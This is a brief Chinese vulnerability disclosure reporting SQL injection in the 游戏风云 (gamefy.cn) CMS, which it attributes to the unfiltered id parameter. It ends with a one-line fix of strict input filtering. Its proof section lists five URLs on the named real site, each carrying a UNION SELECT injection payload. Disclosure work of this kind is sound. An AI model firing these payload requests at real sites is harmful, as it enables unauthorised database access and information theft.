游戏风云cms存在SQL注入

 2017/12/08

简要描述

游戏风云SQL注射漏洞，爆出数据库结构，主机相关信息，导致信息泄漏。

详细说明

游戏风云由于CMS设计缺陷存在SQL注入漏洞。
导致多个频道同时存在SQL注入漏洞,普遍都是对id值没进行过滤

漏洞证明

http://www.gamefy.cn/list.php?id=%27%20and%201=2%20union%20select%20user%28%29%20--

http://www.gamefy.cn/webgame/ddt/list.php?id=%27%20and%201=2%20union%20select%20user%28%29%20--

http://www.gamefy.cn/webgame/qjp/list.php?id=%27%20and%201=2%20union%20select%20user%28%29%20--

http://www.gamefy.cn/webgame/ssxdj/list.php?id=%27%20and%201=2%20union%20select%20user%28%29%20--

http://www.gamefy.cn/webgame/zsg/list.php?id=%27%20and%201=2%20union%20select%20user%28%29%20--

修复方案

对用户输入的参数进行严格过滤

原文链接：游戏风云cms存在SQL注入

CATALOG

1. 简要描述
2. 详细说明
3. 漏洞证明
4. 修复方案

